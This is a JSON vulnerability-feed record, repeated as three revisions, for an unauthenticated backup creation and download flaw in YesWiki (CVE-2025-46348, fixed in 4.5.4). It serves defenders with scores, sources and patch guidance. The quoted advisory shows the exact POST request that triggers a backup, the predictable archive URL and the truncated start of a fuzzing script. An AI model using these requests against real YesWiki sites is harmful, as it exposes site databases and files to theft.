{"items":[{"id":"NVI-00005135","kind":"vulnerability","title":"YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-wc9g-6j9w-hr95","CVE-2025-46348"],"plain_summary":"OSV carries this publisher advisory for yeswiki/yeswiki. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 4.5.4 for yeswiki/yeswiki. Confirm the publisher’s latest guidance.","source_ids":["sr-83768c7a9a9dcf61427976bf67b1154d"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-71cfc36468f34f492d9ba3a2c1ae8865"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-06-17T09:26:16.843Z","value":"10 CRITICAL (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-ab376c93441825036732a2498d11dd30"},{"kind":"CVSS","as_of":"2026-06-17T09:26:16.843Z","value":"9.8 CRITICAL (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-ab376c93441825036732a2498d11dd30"},{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.665%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.51786. Missing scores are unknown.","source_id":"sr-71cfc36468f34f492d9ba3a2c1ae8865"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-83768c7a9a9dcf61427976bf67b1154d","url":"https://github.com/advisories/GHSA-wc9g-6j9w-hr95","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-wc9g-6j9w-hr95","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.386Z"},{"id":"sr-ab376c93441825036732a2498d11dd30","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46348","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2025-46348","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T01:40:05.821Z"},{"id":"sr-71cfc36468f34f492d9ba3a2c1ae8865","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2025-46348","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.371Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-83768c7a9a9dcf61427976bf67b1154d"],"technology":"yeswiki/yeswiki","known_exclusions":[],"conditions_summary":"### Summary\n\nThe request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. \n\nThe archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. \n\n### Details\n\nCreate an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: \n\n```\nPOST /?api/archives HTTP/1.1\nHost: localhost:8085\n\naction=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true\n```\nThen to retrieve it, make a simple `GET` request like to the correct URL: \n```\nhttp://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip\n```\nA malicious attacker could simply fuzz this filename.\n\n### PoC\nHere is a python script to fuzz this: \n\n```\n#!/usr/bin/env python3\n\nimport requests\nimport argparse\nimport datetime\nimport time\nfrom urllib.parse import urljoin\nfrom email.utils import parsedate_to_datetime\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n# Hardco","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 4.5.4"]}],"null_published_at":"2026-11-06T15:18:17.672Z","source_updated_at":"2026-09-10T03:49:36.555Z","source_disclosed_at":"2025-04-29T14:41:31.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:41.386Z"},{"id":"NVI-00005135","kind":"vulnerability","title":"YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-wc9g-6j9w-hr95","CVE-2025-46348"],"plain_summary":"OSV carries this publisher advisory for yeswiki/yeswiki. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 4.5.4 for yeswiki/yeswiki. Confirm the publisher’s latest guidance.","source_ids":["sr-83768c7a9a9dcf61427976bf67b1154d"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-71cfc36468f34f492d9ba3a2c1ae8865"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.665%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.51786. Missing scores are unknown.","source_id":"sr-71cfc36468f34f492d9ba3a2c1ae8865"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-83768c7a9a9dcf61427976bf67b1154d","url":"https://github.com/advisories/GHSA-wc9g-6j9w-hr95","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-wc9g-6j9w-hr95","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.386Z"},{"id":"sr-71cfc36468f34f492d9ba3a2c1ae8865","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2025-46348","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.371Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-83768c7a9a9dcf61427976bf67b1154d"],"technology":"yeswiki/yeswiki","known_exclusions":[],"conditions_summary":"### Summary\n\nThe request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. \n\nThe archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. \n\n### Details\n\nCreate an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: \n\n```\nPOST /?api/archives HTTP/1.1\nHost: localhost:8085\n\naction=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true\n```\nThen to retrieve it, make a simple `GET` request like to the correct URL: \n```\nhttp://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip\n```\nA malicious attacker could simply fuzz this filename.\n\n### PoC\nHere is a python script to fuzz this: \n\n```\n#!/usr/bin/env python3\n\nimport requests\nimport argparse\nimport datetime\nimport time\nfrom urllib.parse import urljoin\nfrom email.utils import parsedate_to_datetime\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n# Hardco","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 4.5.4"]}],"null_published_at":"2026-11-01T19:14:01.592Z","source_updated_at":"2026-09-10T03:49:36.555Z","source_disclosed_at":"2025-04-29T14:41:31.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:41.386Z"},{"id":"NVI-00005135","kind":"vulnerability","title":"YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-wc9g-6j9w-hr95","CVE-2025-46348"],"plain_summary":"OSV carries this publisher advisory for yeswiki/yeswiki. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 4.5.4 for yeswiki/yeswiki. Confirm the publisher’s latest guidance.","source_ids":["sr-83768c7a9a9dcf61427976bf67b1154d"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-83768c7a9a9dcf61427976bf67b1154d","url":"https://github.com/advisories/GHSA-wc9g-6j9w-hr95","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-wc9g-6j9w-hr95","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:41.386Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-83768c7a9a9dcf61427976bf67b1154d"],"technology":"yeswiki/yeswiki","known_exclusions":[],"conditions_summary":"### Summary\n\nThe request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. \n\nThe archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. \n\n### Details\n\nCreate an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: \n\n```\nPOST /?api/archives HTTP/1.1\nHost: localhost:8085\n\naction=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true\n```\nThen to retrieve it, make a simple `GET` request like to the correct URL: \n```\nhttp://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip\n```\nA malicious attacker could simply fuzz this filename.\n\n### PoC\nHere is a python script to fuzz this: \n\n```\n#!/usr/bin/env python3\n\nimport requests\nimport argparse\nimport datetime\nimport time\nfrom urllib.parse import urljoin\nfrom email.utils import parsedate_to_datetime\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n# Hardco","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 4.5.4"]}],"null_published_at":"2026-10-31T22:13:01.450Z","source_updated_at":"2026-09-10T03:49:36.555Z","source_disclosed_at":"2025-04-29T14:41:31.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:41.386Z"}],"next_cursor":null,"snapshot_revision":"42594"}